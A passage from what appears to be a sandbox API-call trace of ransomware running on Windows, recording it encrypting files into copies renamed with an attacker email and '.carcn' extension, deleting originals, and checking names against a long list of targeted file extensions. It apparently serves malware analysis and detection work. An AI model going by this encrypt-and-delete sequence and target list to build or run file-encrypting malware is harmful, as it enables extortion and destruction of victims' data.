Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0288.409] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.409] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0294.061] GetLastError () returned 0x0 [0294.061] ReadFile (in: hFile=0x578, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0294.304] WriteFile (in: hFile=0x37c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0294.305] ReadFile (in: hFile=0x578, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.305] WriteFile (in: hFile=0x37c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.305] SetEndOfFile (hFile=0x37c) returned 1 [0294.305] CloseHandle (hObject=0x37c) returned 1 [0294.305] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.306] SetEndOfFile (hFile=0x578) returned 1 [0294.309] CloseHandle (hObject=0x578) returned 1 [0294.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0294.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.310] lstrlenW (lpString=".doc") returned 4 [0294.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.310] lstrlenW (lpString=".docx") returned 5 [0294.310] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0294.310] lstrlenW (lpString=".pdf") returned 4 [0294.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString=".xls") returned 4 [0294.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.311] lstrlenW (lpString=".xlsx") returned 5 [0294.311] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0294.311] lstrlenW (lpString=".ppt") returned 4 [0294.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.311] lstrlenW (lpString=".zip") returned 4 [0294.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.311] lstrlenW (lpString=".rar") returned 4 [0294.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString=".bz2") returned 4 [0294.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString=".7z") returned 3 [0294.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.311] lstrlenW (lpString=".dbf") returned 4 [0294.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.311] lstrlenW (lpString=".1cd") returned 4 [0294.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0294.311] lstrlenW (lpString=".jpg") returned 4 [0294.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0968 | out: hHeap=0x640000) returned 1 [0294.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce150 | out: hHeap=0x640000) returned 1 [0294.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3720048 | out: hHeap=0x640000) returned 1 [0294.312] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3730050 | out: hHeap=0x640000) returned 1 [0294.314] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x382f020 | out: hHeap=0x640000) returned 1 [0294.320] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0938 | out: hHeap=0x640000) returned 1 [0294.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e95e8 [0294.320] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e95e8, Size=0x20) returned 0x699c08 [0294.320] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9540 [0294.320] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9540, Size=0x20) returned 0x699af0 [0294.321] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.321] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.321] Wow64DisableWow64FsRedirection (in: OldValue=0x2d1ff50 | out: OldValue=0x2d1ff50*=0x1) returned 1 [0294.321] lstrlenW (lpString="kernel32.dll") returned 12 [0294.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699af0 | out: hHeap=0x640000) returned 1 [0294.321] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c08 | out: hHeap=0x640000) returned 1 Thread: id = 47 os_tid = 0xd64 [0250.927] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3740058 [0250.927] lstrlenW (lpString="C:") returned 2 [0250.927] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 0x65ac90 [0250.928] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0250.928] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0250.928] lstrlenW (lpString="$GetCurrent") returned 11 [0250.928] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0250.928] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3750060 [0250.928] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0250.928] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0x65af90 [0251.209] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.209] FindNextFileW (in: hFindFile=0x65af90, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0251.209] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0251.209] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0251.209] lstrlenW (lpString="Logs") returned 4 [0251.209] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0251.209] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3762070 [0251.210] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0251.210] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65acd0 [0251.254] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.254] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0251.254] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn") returned 77 [0251.255] lstrlenW (lpString=".1cd") returned 4 [0251.255] lstrcmpiW (lpString1=".1cd", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".3ds") returned 4 [0251.255] lstrcmpiW (lpString1=".3ds", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".3fr") returned 4 [0251.255] lstrcmpiW (lpString1=".3fr", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".3g2") returned 4 [0251.255] lstrcmpiW (lpString1=".3g2", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".3gp") returned 4 [0251.255] lstrcmpiW (lpString1=".3gp", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".7z") returned 3 [0251.255] lstrcmpiW (lpString1=".7z", lpString2="rcn") returned -1 [0251.255] lstrlenW (lpString=".accda") returned 6 [0251.255] lstrcmpiW (lpString1=".accda", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".accdb") returned 6 [0251.255] lstrcmpiW (lpString1=".accdb", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".accdc") returned 6 [0251.255] lstrcmpiW (lpString1=".accdc", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".accde") returned 6 [0251.255] lstrcmpiW (lpString1=".accde", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".accdt") returned 6 [0251.255] lstrcmpiW (lpString1=".accdt", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".accdw") returned 6 [0251.255] lstrcmpiW (lpString1=".accdw", lpString2=".carcn") returned -1 [0251.255] lstrlenW (lpString=".adb") returned 4 [0251.255] lstrcmpiW (lpString1=".adb", lpString2="arcn") returned -1 [0251.255] lstrlenW (lpString=".adp") returned 4 [0251.256] lstrcmpiW (lpString1=".adp", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai") returned 3 [0251.256] lstrcmpiW (lpString1=".ai", lpString2="rcn") returned -1 [0251.256] lstrlenW (lpString=".ai3") returned 4 [0251.256] lstrcmpiW (lpString1=".ai3", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai4") returned 4 [0251.256] lstrcmpiW (lpString1=".ai4", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai5") returned 4 [0251.256] lstrcmpiW (lpString1=".ai5", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai6") returned 4 [0251.256] lstrcmpiW (lpString1=".ai6", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai7") returned 4 [0251.256] lstrcmpiW (lpString1=".ai7", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ai8") returned 4 [0251.256] lstrcmpiW (lpString1=".ai8", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".anim") returned 5 [0251.256] lstrcmpiW (lpString1=".anim", lpString2="carcn") returned -1 [0251.256] lstrlenW (lpString=".arw") returned 4 [0251.256] lstrcmpiW (lpString1=".arw", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".as") returned 3 [0251.256] lstrcmpiW (lpString1=".as", lpString2="rcn") returned -1 [0251.256] lstrlenW (lpString=".asa") returned 4 [0251.256] lstrcmpiW (lpString1=".asa", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".asc") returned 4 [0251.256] lstrcmpiW (lpString1=".asc", lpString2="arcn") returned -1 [0251.256] lstrlenW (lpString=".ascx") returned 5 [0251.256] lstrcmpiW (lpString1=".ascx", lpString2="carcn") returned -1 [0251.257] lstrlenW (lpString=".asm") returned 4 [0251.257] lstrcmpiW (lpString1=".asm", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".asmx") returned 5 [0251.257] lstrcmpiW (lpString1=".asmx", lpString2="carcn") returned -1 [0251.257] lstrlenW (lpString=".asp") returned 4 [0251.257] lstrcmpiW (lpString1=".asp", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".aspx") returned 5 [0251.257] lstrcmpiW (lpString1=".aspx", lpString2="carcn") returned -1 [0251.257] lstrlenW (lpString=".asr") returned 4 [0251.257] lstrcmpiW (lpString1=".asr", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".asx") returned 4 [0251.257] lstrcmpiW (lpString1=".asx", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".avi") returned 4 [0251.257] lstrcmpiW (lpString1=".avi", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".avs") returned 4 [0251.257] lstrcmpiW (lpString1=".avs", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".backup") returned 7 [0251.257] lstrcmpiW (lpString1=".backup", lpString2="].carcn") returned -1 [0251.257] lstrlenW (lpString=".bak") returned 4 [0251.257] lstrcmpiW (lpString1=".bak", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".bay") returned 4 [0251.257] lstrcmpiW (lpString1=".bay", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".bd") returned 3 [0251.257] lstrcmpiW (lpString1=".bd", lpString2="rcn") returned -1 [0251.257] lstrlenW (lpString=".bin") returned 4 [0251.257] lstrcmpiW (lpString1=".bin", lpString2="arcn") returned -1 [0251.257] lstrlenW (lpString=".bmp") returned 4 [0251.258] lstrcmpiW (lpString1=".bmp", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".bz2") returned 4 [0251.258] lstrcmpiW (lpString1=".bz2", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".c") returned 2 [0251.258] lstrcmpiW (lpString1=".c", lpString2="cn") returned -1 [0251.258] lstrlenW (lpString=".cdr") returned 4 [0251.258] lstrcmpiW (lpString1=".cdr", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".cer") returned 4 [0251.258] lstrcmpiW (lpString1=".cer", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".cf") returned 3 [0251.258] lstrcmpiW (lpString1=".cf", lpString2="rcn") returned -1 [0251.258] lstrlenW (lpString=".cfc") returned 4 [0251.258] lstrcmpiW (lpString1=".cfc", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".cfm") returned 4 [0251.258] lstrcmpiW (lpString1=".cfm", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".cfml") returned 5 [0251.258] lstrcmpiW (lpString1=".cfml", lpString2="carcn") returned -1 [0251.258] lstrlenW (lpString=".cfu") returned 4 [0251.258] lstrcmpiW (lpString1=".cfu", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".chm") returned 4 [0251.258] lstrcmpiW (lpString1=".chm", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".cin") returned 4 [0251.258] lstrcmpiW (lpString1=".cin", lpString2="arcn") returned -1 [0251.258] lstrlenW (lpString=".class") returned 6 [0251.258] lstrcmpiW (lpString1=".class", lpString2=".carcn") returned 1 [0251.258] lstrlenW (lpString=".clx") returned 4 [0251.258] lstrcmpiW (lpString1=".clx", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".config") returned 7 [0251.259] lstrcmpiW (lpString1=".config", lpString2="].carcn") returned -1 [0251.259] lstrlenW (lpString=".cpp") returned 4 [0251.259] lstrcmpiW (lpString1=".cpp", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".cr2") returned 4 [0251.259] lstrcmpiW (lpString1=".cr2", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".crt") returned 4 [0251.259] lstrcmpiW (lpString1=".crt", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".crw") returned 4 [0251.259] lstrcmpiW (lpString1=".crw", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".cs") returned 3 [0251.259] lstrcmpiW (lpString1=".cs", lpString2="rcn") returned -1 [0251.259] lstrlenW (lpString=".css") returned 4 [0251.259] lstrcmpiW (lpString1=".css", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".csv") returned 4 [0251.259] lstrcmpiW (lpString1=".csv", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".cub") returned 4 [0251.259] lstrcmpiW (lpString1=".cub", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".dae") returned 4 [0251.259] lstrcmpiW (lpString1=".dae", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".dat") returned 4 [0251.259] lstrcmpiW (lpString1=".dat", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".db") returned 3 [0251.259] lstrcmpiW (lpString1=".db", lpString2="rcn") returned -1 [0251.259] lstrlenW (lpString=".dbf") returned 4 [0251.259] lstrcmpiW (lpString1=".dbf", lpString2="arcn") returned -1 [0251.259] lstrlenW (lpString=".dbx") returned 4 [0251.260] lstrcmpiW (lpString1=".dbx", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dc3") returned 4 [0251.260] lstrcmpiW (lpString1=".dc3", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dcm") returned 4 [0251.260] lstrcmpiW (lpString1=".dcm", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dcr") returned 4 [0251.260] lstrcmpiW (lpString1=".dcr", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".der") returned 4 [0251.260] lstrcmpiW (lpString1=".der", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dib") returned 4 [0251.260] lstrcmpiW (lpString1=".dib", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dic") returned 4 [0251.260] lstrcmpiW (lpString1=".dic", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".dif") returned 4 [0251.260] lstrcmpiW (lpString1=".dif", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".divx") returned 5 [0251.260] lstrcmpiW (lpString1=".divx", lpString2="carcn") returned -1 [0251.260] lstrlenW (lpString=".djvu") returned 5 [0251.260] lstrcmpiW (lpString1=".djvu", lpString2="carcn") returned -1 [0251.260] lstrlenW (lpString=".dng") returned 4 [0251.260] lstrcmpiW (lpString1=".dng", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".doc") returned 4 [0251.260] lstrcmpiW (lpString1=".doc", lpString2="arcn") returned -1 [0251.260] lstrlenW (lpString=".docm") returned 5 [0251.260] lstrcmpiW (lpString1=".docm", lpString2="carcn") returned -1 [0251.260] lstrlenW (lpString=".docx") returned 5 [0251.260] lstrcmpiW (lpString1=".docx", lpString2="carcn") returned -1 [0251.261] lstrlenW (lpString=".dot") returned 4 [0251.261] lstrcmpiW (lpString1=".dot", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dotm") returned 5 [0251.261] lstrcmpiW (lpString1=".dotm", lpString2="carcn") returned -1 [0251.261] lstrlenW (lpString=".dotx") returned 5 [0251.261] lstrcmpiW (lpString1=".dotx", lpString2="carcn") returned -1 [0251.261] lstrlenW (lpString=".dpx") returned 4 [0251.261] lstrcmpiW (lpString1=".dpx", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dqy") returned 4 [0251.261] lstrcmpiW (lpString1=".dqy", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dsn") returned 4 [0251.261] lstrcmpiW (lpString1=".dsn", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dt") returned 3 [0251.261] lstrcmpiW (lpString1=".dt", lpString2="rcn") returned -1 [0251.261] lstrlenW (lpString=".dtd") returned 4 [0251.261] lstrcmpiW (lpString1=".dtd", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dwg") returned 4 [0251.261] lstrcmpiW (lpString1=".dwg", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dwt") returned 4 [0251.261] lstrcmpiW (lpString1=".dwt", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".dx") returned 3 [0251.261] lstrcmpiW (lpString1=".dx", lpString2="rcn") returned -1 [0251.261] lstrlenW (lpString=".dxf") returned 4 [0251.261] lstrcmpiW (lpString1=".dxf", lpString2="arcn") returned -1 [0251.261] lstrlenW (lpString=".edml") returned 5 [0251.261] lstrcmpiW (lpString1=".edml", lpString2="carcn") returned -1 [0251.262] lstrlenW (lpString=".efd") returned 4 [0251.262] lstrcmpiW (lpString1=".efd", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".elf") returned 4 [0251.262] lstrcmpiW (lpString1=".elf", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".emf") returned 4 [0251.262] lstrcmpiW (lpString1=".emf", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".emz") returned 4 [0251.262] lstrcmpiW (lpString1=".emz", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".epf") returned 4 [0251.262] lstrcmpiW (lpString1=".epf", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".eps") returned 4 [0251.262] lstrcmpiW (lpString1=".eps", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".epsf") returned 5 [0251.262] lstrcmpiW (lpString1=".epsf", lpString2="carcn") returned -1 [0251.262] lstrlenW (lpString=".epsp") returned 5 [0251.262] lstrcmpiW (lpString1=".epsp", lpString2="carcn") returned -1 [0251.262] lstrlenW (lpString=".erf") returned 4 [0251.262] lstrcmpiW (lpString1=".erf", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".exr") returned 4 [0251.262] lstrcmpiW (lpString1=".exr", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".f4v") returned 4 [0251.262] lstrcmpiW (lpString1=".f4v", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".fido") returned 5 [0251.262] lstrcmpiW (lpString1=".fido", lpString2="carcn") returned -1 [0251.262] lstrlenW (lpString=".flm") returned 4 [0251.262] lstrcmpiW (lpString1=".flm", lpString2="arcn") returned -1 [0251.262] lstrlenW (lpString=".flv") returned 4 [0251.263] lstrcmpiW (lpString1=".flv", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".frm") returned 4 [0251.263] lstrcmpiW (lpString1=".frm", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".fxg") returned 4 [0251.263] lstrcmpiW (lpString1=".fxg", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".geo") returned 4 [0251.263] lstrcmpiW (lpString1=".geo", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".gif") returned 4 [0251.263] lstrcmpiW (lpString1=".gif", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".grs") returned 4 [0251.263] lstrcmpiW (lpString1=".grs", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".gz") returned 3 [0251.263] lstrcmpiW (lpString1=".gz", lpString2="rcn") returned -1 [0251.263] lstrlenW (lpString=".h") returned 2 [0251.263] lstrcmpiW (lpString1=".h", lpString2="cn") returned -1 [0251.263] lstrlenW (lpString=".hdr") returned 4 [0251.263] lstrcmpiW (lpString1=".hdr", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".hpp") returned 4 [0251.263] lstrcmpiW (lpString1=".hpp", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".hta") returned 4 [0251.263] lstrcmpiW (lpString1=".hta", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".htc") returned 4 [0251.263] lstrcmpiW (lpString1=".htc", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".htm") returned 4 [0251.263] lstrcmpiW (lpString1=".htm", lpString2="arcn") returned -1 [0251.263] lstrlenW (lpString=".html") returned 5 [0251.264] lstrcmpiW (lpString1=".html", lpString2="carcn") returned -1 [0251.264] lstrlenW (lpString=".icb") returned 4 [0251.264] lstrcmpiW (lpString1=".icb", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".ics") returned 4 [0251.264] lstrcmpiW (lpString1=".ics", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".iff") returned 4 [0251.264] lstrcmpiW (lpString1=".iff", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".inc") returned 4 [0251.264] lstrcmpiW (lpString1=".inc", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".indd") returned 5 [0251.264] lstrcmpiW (lpString1=".indd", lpString2="carcn") returned -1 [0251.264] lstrlenW (lpString=".ini") returned 4 [0251.264] lstrcmpiW (lpString1=".ini", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".iqy") returned 4 [0251.264] lstrcmpiW (lpString1=".iqy", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".j2c") returned 4 [0251.264] lstrcmpiW (lpString1=".j2c", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".j2k") returned 4 [0251.264] lstrcmpiW (lpString1=".j2k", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".java") returned 5 [0251.264] lstrcmpiW (lpString1=".java", lpString2="carcn") returned -1 [0251.264] lstrlenW (lpString=".jp2") returned 4 [0251.264] lstrcmpiW (lpString1=".jp2", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".jpc") returned 4 [0251.264] lstrcmpiW (lpString1=".jpc", lpString2="arcn") returned -1 [0251.264] lstrlenW (lpString=".jpe") returned 4 [0251.265] lstrcmpiW (lpString1=".jpe", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".jpeg") returned 5 [0251.265] lstrcmpiW (lpString1=".jpeg", lpString2="carcn") returned -1 [0251.265] lstrlenW (lpString=".jpf") returned 4 [0251.265] lstrcmpiW (lpString1=".jpf", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".jpg") returned 4 [0251.265] lstrcmpiW (lpString1=".jpg", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".jpx") returned 4 [0251.265] lstrcmpiW (lpString1=".jpx", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".js") returned 3 [0251.265] lstrcmpiW (lpString1=".js", lpString2="rcn") returned -1 [0251.265] lstrlenW (lpString=".jsf") returned 4 [0251.265] lstrcmpiW (lpString1=".jsf", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".json") returned 5 [0251.265] lstrcmpiW (lpString1=".json", lpString2="carcn") returned -1 [0251.265] lstrlenW (lpString=".jsp") returned 4 [0251.265] lstrcmpiW (lpString1=".jsp", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".kdc") returned 4 [0251.265] lstrcmpiW (lpString1=".kdc", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".kmz") returned 4 [0251.265] lstrcmpiW (lpString1=".kmz", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".kwm") returned 4 [0251.265] lstrcmpiW (lpString1=".kwm", lpString2="arcn") returned -1 [0251.265] lstrlenW (lpString=".lasso") returned 6 [0251.265] lstrcmpiW (lpString1=".lasso", lpString2=".carcn") returned 1 [0251.265] lstrlenW (lpString=".lbi") returned 4 [0251.266] lstrcmpiW (lpString1=".lbi", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".lgf") returned 4 [0251.266] lstrcmpiW (lpString1=".lgf", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".lgp") returned 4 [0251.266] lstrcmpiW (lpString1=".lgp", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".log") returned 4 [0251.266] lstrcmpiW (lpString1=".log", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".m1v") returned 4 [0251.266] lstrcmpiW (lpString1=".m1v", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".m4a") returned 4 [0251.266] lstrcmpiW (lpString1=".m4a", lpString2="arcn") returned -1 [0251.266] lstrlenW (lpString=".m4v") returned 